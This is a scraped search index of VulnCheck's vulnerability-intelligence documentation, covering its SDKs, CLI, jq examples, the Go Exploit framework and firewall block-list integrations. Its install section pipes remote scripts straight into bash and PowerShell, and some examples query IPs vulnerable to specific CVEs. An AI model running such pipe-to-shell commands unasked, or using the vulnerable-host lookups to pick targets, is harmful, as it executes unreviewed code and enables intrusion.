index,{id:3761,title:3762,titles:3763,content:3764,level:542},/indices/vulnerability-intelligence#cisa-vulnrichment,CISA Vulnrichment,56,228,The CISA Vulnrichment project is the public repository of CISAs enrichment of public CVE records through CISAs ADP (Authorized Data Publisher) container. In this phase of the project, CISA is assessing new and recent CVEs and adding key SSVC decision points. Once scored, some higher-risk CVEs will also receive enrichment of CWE, CVSS, and CPE data points, where possible. Browse the vulnrichment index,{id:288,title:292,titles:3766,content:3767,level:528},,Continuously expanding with new tools, enhancements, and real-time updates to improve open-source security intelligence. Bring VulnCheck to your TerminalBring VulnCheck to your Go ApplicationsBring VulnCheck to your Python ApplicationsBring VulnCheck to your GitHub ActionsA Chrome Browser Plug-in for Easy Access to VulnCheck Intelligence,{id:296,title:295,titles:3769,content:3770,level:528},,Go Exploit facilitates faster, more portable, and feature-rich exploit development. Go Exploit is an exploit development framework for Go. The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other tools.,{id:3772,title:3773,titles:3774,content:3775,level:542},/tools/go-exploit#how-can-i-access-go-exploit,How Can I Access Go Exploit?,295,Go Exploit is an open source project available on Github: https://github.com/vulncheck-oss/go-exploit For API documentation, check out the package on Go: https://pkg.go.dev/github.com/vulncheck-oss/go-exploit.,{id:3777,title:3778,titles:3779,content:3780,level:542},/tools/go-exploit#getting-started-with-go-exploit,Getting Started with Go Exploit,295,Weve put together a guide on getting started with Go Exploit which is available on Github: https://github.com/vulncheck-oss/go-exploit/blob/main/docs/getting-started.md,{id:3782,title:3783,titles:3784,content:3785,level:542},/tools/go-exploit#how-can-i-contribute-to-go-exploit,How Can I Contribute to Go Exploit?,295,Community contributions in the form of issues and features are welcome and can be submitted on Github. When submitting issues, please ensure they include sufficient information to reproduce the problem. For new features, provide a reasonable use case, appropriate unit tests, and ensure compliance with our .golangci.yml without generating any complaints.,{id:301,title:300,titles:3787,content:3788,level:528},,Bring VulnCheck to your Go Applications VulnChecks Go-SDK enables faster and easier access to VulnChecks APIs when developing Go applications.,{id:3790,title:3791,titles:3792,content:3793,level:542},/tools/go-sdk#how-can-i-access-go-sdk,How Can I Access Go-SDK?,300,VulnChecks Go-SDK is an open source project available on GitHub: https://github.com/vulncheck-oss/sdk-go-v2,{id:3795,title:3796,titles:3797,content:3798,level:542},/tools/go-sdk#installing-the-vulncheck-go-sdk,Installing the VulnCheck Go-SDK,300,VulnCheck go-SDK can be installed from GitHub. Install From Github go get github.com/vulncheck-oss/sdk-go-v2/vulncheck,{id:3800,title:3801,titles:3802,content:3803,level:542},/tools/go-sdk#how-can-i-learn-more-about-how-to-use-the-go-sdk,How can I learn more about how to use the Go-SDK?,300,VulnCheck Go-SDK Examples Connecting to the API Look up CVEs associated w/ a PURL Look up CPE associated w/ a CPE Download the backup for an index Get all available indices Look up a CVE in an index Use Cursor to access results from an index,{id:3805,title:3806,titles:3807,content:3808,level:542},/tools/go-sdk#how-can-i-contribute-to-vulnchecks-go-sdk,How Can I Contribute to VulnChecks Go-SDK?,300,Community contributions in the form of issues and features are welcome and can be submitted on GitHub. When submitting issues, please ensure they include sufficient information to reproduce the problem. For new features, provide a reasonable use case, appropriate unit tests, and ensure compliance with required checks in our automated CI/CD pipeline without generating any complaints. html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);},{id:306,title:305,titles:3810,content:3811,level:528},,Bring VulnCheck to your Python Applications VulnChecks Python-SDK enables faster and easier access to VulnChecks APIs when developing Python applications.,{id:3813,title:3814,titles:3815,content:3816,level:542},/tools/python-sdk#how-can-i-access-python-sdk,How Can I Access Python-SDK?,305,VulnChecks Python-SDK is an open source project available on GitHub: https://github.com/vulncheck-oss/sdk-python/,{id:3818,title:3819,titles:3820,content:3821,level:542},/tools/python-sdk#installing-the-vulncheck-python-sdk,Installing the VulnCheck Python-SDK,305,VulnCheck SDK can be installed from github or PyPi. Install From PyPi pip install vulncheck-sdk Install Directly from github pip install git+https://github.com/vulncheck-oss/sdk-python.git,{id:3823,title:3824,titles:3825,content:3826,level:542},/tools/python-sdk#how-can-i-learn-more-about-how-to-use-the-python-sdk,How can I learn more about how to use the Python-SDK?,305,Quickstart Guide for VulnChecks Python-SDK Connecting to the API Look up CVEs associated w/ a PURL Look up CPE associated w/ a CPE Download the backup for an index Get all available indices Look up a CVE in an index Use pagination to access results from an index,{id:3828,title:3829,titles:3830,content:3831,level:542},/tools/python-sdk#how-can-i-contribute-to-vulnchecks-python-sdk,How Can I Contribute to VulnChecks Python-SDK?,305,Community contributions in the form of issues and features are welcome and can be submitted on GitHub. When submitting issues, please ensure they include sufficient information to reproduce the problem. For new features, provide a reasonable use case, appropriate unit tests, and ensure compliance with required checks in our CI pipeline.,{id:3833,title:3834,titles:3835,content:3836,level:542},/tools/python-sdk#jupyter-notebook-integration,Jupyter Notebook Integration,305,If youre interested in the VulnCheck Python SDK, you may also want to explore our integration with Jupyter Notebook, which is available here. html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178},{id:311,title:310,titles:3838,content:313,level:528},,{id:3840,title:3841,titles:3842,content:3843,level:542},/tools/insights#what-does-vulncheck-insights-provide,What Does VulnCheck Insights Provide?,310,VulnCheck Insights provides quick access to VulnCheck Intelligence when using a Chrome Browser by simply hovering over a CVE, CPE or pURL. Need additional intelligence, just click to access the details in the Vulncheck Console.,{id:3845,title:3846,titles:3847,content:3848,level:542},/tools/insights#how-do-i-setup-vulncheck-insights,How Do I Setup VulnCheck Insights?,310,Install the VulnCheck Insights Chrome Plug-in from the Google Chrome Web Store.Click Settings on the VulnCheck Insights Chrome Plug-in\nEnter Your VulnCheck API KEY. (How to Issue an API Token),{id:316,title:320,titles:3850,content:3851,level:528},,Take VulnCheck anywhere with the VulnCheck CLI Access VulnCheck intelligence through CLI across MacOS, Linux and Windows platforms. Browse VulnCheck indices, manage backups and access VulnCheck IP Intelligence offline using a terminal.,{id:3853,title:3854,titles:3855,content:3856,level:542},/tools/cli#how-can-i-access-vulncheck-cli,How Can I Access VulnCheck CLI?,320,VulnChecks CLI is an open source project available on GitHub: https://github.com/vulncheck-oss/cli,{id:3858,title:3859,titles:3860,content:3861,level:542},/tools/cli#installing-the-vulncheck-cli,Installing the VulnCheck CLI,320,You can easily install VulnCheck CLI using an install script. Choose the script and method that matches your operating system: curl -sSL https://raw.githubusercontent.com/vulncheck-oss/cli/main/install.sh | bash\niex ((New-Object System.Net.WebClient).DownloadString(https://raw.githubusercontent.com/vulncheck-oss/cli/main/install.ps1)) More detailed installation instructions are available on GitHub,{id:3863,title:3864,titles:3865,content:3866,level:542},/tools/cli#configuring-vulncheck-access,Configuring VulnCheck Access,320,From the terminal authenticate your VulnCheck account by running: vulncheck auth login Select to Login with a browser or Paste an authentication token to complete authentication,{id:3868,title:3869,titles:3870,content:3871,level:542},/tools/cli#how-do-i-use-vulncheck-cli,How do I use VulnCheck CLI?,320,VulnCheck Available Commands Browse/list indices Browse/list an index Download a backup Request vulnerabilities related to a CPE Request vulnerabilities related to a PURL Scan a repository for vulnerabilities,{id:3873,title:3874,titles:3875,content:3876,level:542},/tools/cli#how-can-i-contribute-to-vulncheck-cli,How Can I Contribute to VulnCheck CLI?,320,Community contributions in the form of issues and features are welcome and can be submitted on GitHub. When submitting issues, please ensure they include sufficient information to reproduce the problem. For new features, provide a reasonable use case, appropriate unit tests, and ensure compliance with required checks in our automated CI/CD pipeline without generating any complaints. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF},{id:324,title:323,titles:3878,content:3879,level:528},,Run VulnCheck CLI commands blazing fast without internet. VulnCheck Offline allows you to execute various CLI commands without using the API or requiring an internet connection. This significantly improves lookup performance and enables usage in restricted or offline environments.,{id:3881,title:3882,titles:3883,content:3884,level:542},/tools/cli/offline#currently-supported-features,Currently supported features,323,SBOM scansCPE lookupsIP Intelligence searches (3-day, 10-day, and 30-day)PURL lookups,{id:3886,title:6,titles:3887,content:3888,level:174},/tools/cli/offline#getting-started,323,In order to start using Offline, you need to sync the indices youll be using locally. This is done using the offline sync command Select the indices you want syncedIf you run vulncheck offline sync for the first time without any parameters, you will be given an interactive prompt allowing you to choose which indices you want to cache.x or space will select an index, / allows you to search for a specific index.Run an offline commandOnce you have synced the indices, you can run any of the supported commands, for a list of what is currently supported run vulncheck offline .  To run an SBOM scan run vulncheck scan --offline.Future offline commandsOnce you have your indices selected and synced, vulncheck offline sync will update any indices that are older than the backup.It is recommended to run vulncheck offline sync daily to ensure you have the latest.vulncheck offline status will give you a visual representation of which indices are synced and their last updated time.,{id:3890,title:3891,titles:3892,content:3893,level:174},/tools/cli/offline#offline-faq,Offline FAQ,323,If you are unsure of which indices you need, just run the offline commands and the CLI will either prompt or error with the index that is requiredThere are several commands to help you manage your indicesvulncheck offline sync --choose This will put you back in that interactive mode you started withvulncheck offline --purge This will remove all indices from your local cachevulncheck offline --add index1,index2 This will add the specified indices without prompting,{id:329,title:328,titles:3895,content:331,level:528},,{id:3897,title:3898,titles:3899,content:3900,level:174},/tools/cli/examples#getting-started-w-vulncheck-cli,Getting Started w/ VulnCheck CLI,328,List all indices for which you have entitlements vulncheck indices browse Search all indices for a specific term - \nvd\ vulncheck indices browse nvd Browse an index vulncheck index browse vulncheck-kev Download a backup of an index vulncheck backup download mitre-attack-cve,{id:3902,title:3903,titles:3904,content:3905,level:174},/tools/cli/examples#vulnerability-and-exploit-intelligence-commands,Vulnerability and Exploit Intelligence Commands,328,Lookup a CVE in an index vulncheck index list exploits --cve cve-2024-3400 Lookup vulnerabilities associated w/ a CPE vulncheck cpe \cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*\ Lookup vulnerabilties associated w/ a PURL vulncheck purl \pkg:pypi/aioxmpp@0.6.0\ Lookup a list of records in an index with a specific pubstart date vulncheck index list vulncheck-kev --pubstartdate 2024-10-20 Lookup a list of records in an index with a specific pubend date vulncheck index list vulncheck-kev --pubenddate 2023-10-20 Lookup a list of records in an index between a specific pubstart amd pubenddate date vulncheck index list vulncheck-kev --pubstartdate 2024-10-01 --pubenddate 2024-10-05 Lookup a threat actor in the threat actors index vulncheck index list threat-actors --threat_actor \Cozy Bear\ Lookup a botnet in the botnets index vulncheck index list botnets --botnet \Kinsing\ Lookup a ransomware family in the ransomware index vulncheck index list ransomware --ransomware Cactus,{id:3907,title:3908,titles:3909,content:3910,level:174},/tools/cli/examples#ip-intelligence-commands,IP Intelligence Commands,328,Lookup IPs associated with a hostname vulncheck index list ipintel-3d --hostname router.asus.com Lookup a range of IP Addresses vulncheck index list ipintel-3d --cidr 100.20.0.0/14 Lookup IPs that are potentially vulnerable or vulnerable to a CVE vulncheck index list ipintel-3d --cve CVE-2023-27350 Lookup IPs associated with a country, ASN and ID in an IPIntel index vulncheck index list ipintel-3d --countrySweden --asnAS16509 --idinitial-access Lookup IPs that have “.gov” in the hostname, are potentially vulnerable to CVE-2024-24919, and geolocate in the United States vulncheck index list ipintel-3d --hostname.gov --country_codeUS --cveCVE-2024-24919,{id:3912,title:3913,titles:3914,content:3915,level:174},/tools/cli/examples#vulncheck-scan-commands,VulnCheck Scan Commands,328,Scan a Repository for Vulnerabilities vulncheck scan ./npm-seven/,{id:3917,title:3918,titles:3919,content:3920,level:174},/tools/cli/examples#initial-access-intelligence-commands,Initial Access Intelligence Commands,328,List all Snort rules in VulnCheck Initial Access Intelligence vulncheck rule snort List all Suricata rules in VulnCheck Initial Access Intelligence vulncheck rule suricata List all IPs associated with a tag in IP Intelligence vulncheck tag \vulncheck-c2\ html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF},{id:334,title:333,titles:3922,content:336,level:528},,{id:3924,title:3925,titles:3926,content:3927,level:174},/tools/cli/examples-jq#jq-example-commands,JQ Example Commands,333,Pipe CLI output to jq vulncheck index list ipintel-3d | jq Parse all objects in the VulnCheck response vulncheck index list ipintel-3d | jq . Parse the first object in the VulnCheck response vulncheck index list ipintel-3d | jq .0 Find the objects of type initial-access vulncheck index list ipintel-3d | jq . | select(.type.id  \initial-access\) How many findings were of type initial-access vulncheck index list ipintel-3d | jq . | select(.type.id  \initial-access\) | length Search for the finding with a specific ip address and port vulncheck index list ipintel-3d | jq . | select(.port  9443 and .ip  \217.171.231.74\) Search for findings by CVE vulncheck index list ipintel-3d | jq . | select(.cve  \CVE-2022-40684\) CVSS base scores with source from vulncheck-nvd2 vulncheck index list vulncheck-nvd2 --cve CVE-2024-3400 | jq -r ..metrics.cvssMetricV31 | \\$.source): \\(.cvssData.baseScore)\ CWEs from vulncheck-nvd2 with source as json vulncheck index list nist-nvd2 --cve CVE-2024-3400 | jq . | {id,\n           weaknesses: .weaknesses as $w\n                        | {source: $w.source,\n                           type: $w.type,\n                           cwes: ($w.description\n                                  | select(.lang\en\ and (.value|startswith(\CWE-$))\n                                  | .value) } \n          } THe last 10 days of recent VulnCheck KEVs vulncheck index list vulncheck-kev | jq --argjson now \$(date +%s)\ \n  map(select(\n    (.date_added | fromdateiso8601) > ($now - (10 * 24 * 60 * 60))\n  )\n    | {\n        cve: .cve,\n        date_added: .date_added,\n        vendorProject: .vendorProject,\n        product: .product\n      }\n)\n,{id:3929,title:3930,titles:3931,content:3932,level:174},/tools/cli/examples-jq#additional-jq-attributes,Additional JQ Attributes,333,. | .cve . | {cve: .cve, description: .shortDescription} . | ._timestamp . | .public_exploit_found . | .exploits . | .weaponized_exploit_found . | .reported_exploited_by_threat_actors . | select(.reported_exploited_by_threat_actors and .weaponized_exploit_found) | .id . | select(.reported_exploited_by_threat_actors and .weaponized_exploit_found) . | .reported_exploited_by_ransomware . | .counts.exploits . | .counts.threat_actors . | .counts.botnets . | select(.counts.botnets > 5) | .id . | .timeline.first_exploit_published . | select(.timeline.vulncheck_kev_date_added  \2024-10-11T00:00:00Z\) | .id . | select(.public_exploit_found  true) | .id . | .max_exploit_maturity . | select(.trending.github) | .id . | .botnet_name . | .reported_exploited_by_threat_actors . | .counts.ransomware_families . | .timeline.most_recent_exploit_reported . | select(.weaponized_exploit_found and .inKEV) | .id . | select(.timeline.vulncheck_kev_date_added > \2024-10-10T00:00:00Z\ and .timeline.vulncheck_kev_date_added \u003C \2024-10-12T23:59:59Z\) | .id . | .trending.github . | select(.epss.epss_score > 0.01 and .reported_exploited_by_threat_actors) . | select(.weaponized_exploit_found and .public_exploit_found) | .id . | .commercial_exploit_found . | select(.epss.epss_score > 0.6 and .weaponized_exploit_found) | .id . | .shortDescription . | .reported_exploitation?.url . | select(.timeline.first_exploit_published \u003C \2024-10-15T00:00:00Z\) | .id . | .inKEV . | .reported_exploited_by_botnets . | select(.reported_exploited_by_ransomware and .public_exploit_found  false) | .id . | .required_action . | select(.dueDate \u003C \2024-11-01T00:00:00Z\) | .cve . | select(.timeline.first_exploit_published \u003C \2024-10-01T00:00:00Z\) | .id . | select(.public_exploit_found and .weaponized_exploit_found and .timeline.first_exploit_published > \2024-10-01T00:00:00Z\) | .id . | .counts.public_exploits . | select(.reported_exploited_by_threat_actors and .trending.github) | .id\n   . . | select(.timeline.vulncheck_kev_date_added > \2024-10-01T00:00:00Z\) | .id . | select(.technique_id.tactics | index(\inhibit-response-function\)) | .cve_list . | select(.timeline.vulncheck_kev_date_added | startswith(\2024\))? | .id | length . | select(.risk_score  \high\) | .id . | select(.trending.last_week  true) | .id . | select(.reported_exploited_by_threat_actors  true) | .id . | select(.technique_id.tactics | index(\lateral-movement\)) | ( .cve_list | . | select(startswith(\CVE-2023\)) ) . | select(.inKEV  true) | .epss.epss_score  | add / length . | select(.technique_id.tactics | index(\privilege-escalation\)) | .cve_list . | .reported_exploitation | sort_by(.date_added) | .0 | .date_added . | select(.epss.epss_score > 0.2 and .trending.github  true) | .id . | select(.timeline.vulncheck_kev_date_added \u003C \2024-10-16\ and .timeline.vulncheck_kev_date_added > \2024-10-15\) | .id . | select(.counts.threat_actors > 2) | .id . | .dueDate . | .exploits? | .url | select(startswith(\https://github.com\))? . | select(.public_exploit_found  true and .inKEV  false) | .id . | select(.max_exploit_maturity  \poc\ and .epss.epss_percentile \u003C 0.1) . | select(.severity  \high\ and .reported_exploited_by_ransomware  true and (.timeline.first_exploit_published | startswith(\2024\)?)) | .id . | select(.counts.ransomware_families > 3) | .id . | select(.timeline.vulncheck_kev_date_added > \2024-09-01T00:00:00Z\ and .timeline.vulncheck_kev_date_added \u003C \2024-09-30T23:59:59Z\) | .id . | .remediation . | select(.risk_score  \low\ and .weaponized_exploit_found  true) | .id . | select(.reported_exploited_by_ransomware) . | select(.public_exploit_found) | select(.. | ascii_downcase? | contains(\sql injection\)?) . | select(.counts.threat_actors > 5) | length . | .timeline . | .timeline.last_exploit_published . | select(.weaponized_exploit_found) | .id . | .required_action . | select(.. | ascii_downcase? | contains(\watering hole\)?) | .id . | select(.counts.threat_actors > 10) | .id . | .exploits | . | .url . | select(.weaponized_exploit_found and (.. | ascii_downcase? | contains(\phishing\)?)) | .id . | select(.public_exploit_found  true and .weaponized_exploit_found  false) | .id . | select(.public_exploit_found) | .id Vulnerability Score Examples (CVSS/EPSS) . | .cvss_score . | .epss.epss_score . | .epss.epss_percentile . | select(.epss.epss_score \u003C 0.01) | .id . | select(.inKEV  true and .epss.epss_score \u003C 0.1) | .id . | select(.epss.epss_percentile > 0.5 and .public_exploit_found  true) . | {cve: .id, cvss_score: .cvss_score, epss_score: .epss.epss_score} . | select(.epss.epss_score > 0.8 and .trending.github  true) | .id . | select(.epss.epss_score > 0.9 and .public_exploit_found  true) | .id . | select(.epss.epss_percentile > 0.3 and .epss.epss_percentile \u003C 0.6 and .reported_exploited_by_ransomware  true) | .id html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C},{id:342,title:346,titles:3934,content:3935,level:528},,VulnCheck includes integrations with many popular cybersecurity products & tools. VulnCheck wants to make it as easy as possible to integrate into your favorite security tools. Below is a list of tools with integrations today, but we are always looking to expand. If you work with a tool that VulnCheck should be integrated with, please contact us at support@vulncheck.com. Below are some of our most popular integrations.,{id:3937,title:3938,titles:3939,content:3940,level:174},/integrations#threat-intelligence-platforms-tip,Threat Intelligence Platforms (TIP),346,VulnCheck integrates natively with popular Threat Intelligence Platforms (TIP) products. Support TIP integrations include: CompanyProductIntegration GuideLicensed APICommunity APICywareIntel ExchangeVulnCheck in CywaretruetrueFiligranOpenCTIVulnCheck in OpenCTItruetrueThreatConnectPolarity IOVulnCheck in PolaritytruetrueThreatConnectTI OpsVulnCheck in ThreatConnecttruetrueThreatQuotient, a Securonix companyThreatQ PlatformComing Soontruetrue,{id:3942,title:3943,titles:3944,content:3945,level:174},/integrations#next-generation-ng-firewalls,Next Generation (NG) Firewalls,346,VulnCheck IP Intelligence features are available in major Next Generation Firewalls by leveraging their External Block List (EBL) or Dynamic Block List (DBL) native functionality. Supported NG Firewalls include: CompanyProductIntegration GuideLicensed APICommunity APICheckpointQuantum Security GatewayVulnCheck in Checkpoint Quantum Security GatewaytruefalseCiscoASAVulnCheck in Cisco ASAtruefalseFortinetFortiGateVulnCheck in Fortinet FortiGatetruefalsePalo Alto NetworksNGFWVulnCheck in Palo Alto Networks NGFWtruefalse,{id:3947,title:3948,titles:3949,content:3950,level:174},/integrations#jupyter-notebooks,Jupyter Notebooks,346,VulnCheck Exploit & Vulnerability Intelligence can be used as data a source for Jupyter Notebooks. Jupyter Notebook Documentation: https://docs.vulncheck.com/integrations/jupyter,{id:3952,title:3953,titles:3954,content:3955,level:174},/integrations#business-intelligence-applications,Business Intelligence Applications,346,VulnCheck Exploit & Vulnerability Intelligence can be added as data sources in Business Intelligence tools that consume multiple data sources. CompanyProductIntegration GuideLicensed APICommunity APIMicrosoftPower BIVulnCheck in Microsoft Power BItruetrue,{id:3957,title:3958,titles:3959,content:3960,level:174},/integrations#other-integrations,Other Integrations,346,VulnCheck also integrates with other solutions, including: CompanyProductIntegration GuideLicensed APICommunity APICyber Integrations LabIDSTowerVulnCheck Suricata Rules in IDSTowertruefalse,{id:350,title:349,titles:3962,content:3963,level:528},,VulnCheck IP Intelligence improves Checkpoint Quantum Security Gateway deployments by providing real-time IP Address data via our Tags API. Customers of Checkpoint Quantum Security Gateway who purchase a VulnCheck IP Intelligence license are able to leverage Checkpoints Dynamic Block List (DBL) functionality to block attacker Command & Control (C2) infrastructure detected by VulnCheck.,{id:3965,title:3966,titles:3967,content:3968,level:174},/integrations/checkpoint#working-with-dynamic-block-lists-in-checkpoint-quantum-security-gateway,Working with Dynamic Block Lists in Checkpoint Quantum Security Gateway,349,Checkpoint Quantum Security Gateway provides an easy to use Custom Intelligence Feeds feature, which may be used with third-party intelligence providers like VulnCheck. For more information on these features from Checkpoint see:\nWhat is the \Custom Intelligence Feeds\ feature?,{id:3970,title:3971,titles:3972,content:3973,level:174},/integrations/checkpoint#block-vulncheck-c2-detections-with-checkpoint-quantum-security-gateway,Block VulnCheck C2 Detections with Checkpoint Quantum Security Gateway,349,The Custom Intelligence Feeds from Checkpoint feature supports different kinds of CSV structure files (including newline separated files). As an example, to block C2 detections from VulnCheck, simply run: ioc_feeds add --feed_name ip_list --transport http --resource \https://api.vulncheck.com/v3/tags/vulncheck-c2?tokenINSERT_VULNCHECK_TOKEN\ --format value:1,type:ip,{id:355,title:354,titles:3975,content:3976,level:528},,VulnCheck IP Intelligence improves Cisco ASA deployments by providing real-time IP Address data via our Tags API. Customers of Cisco ASA who purchase a VulnCheck IP Intelligence license are able to leverage Ciscos Dynamic Block List (DBL) functionality to block attacker Command & Control (C2) infrastructure detected by 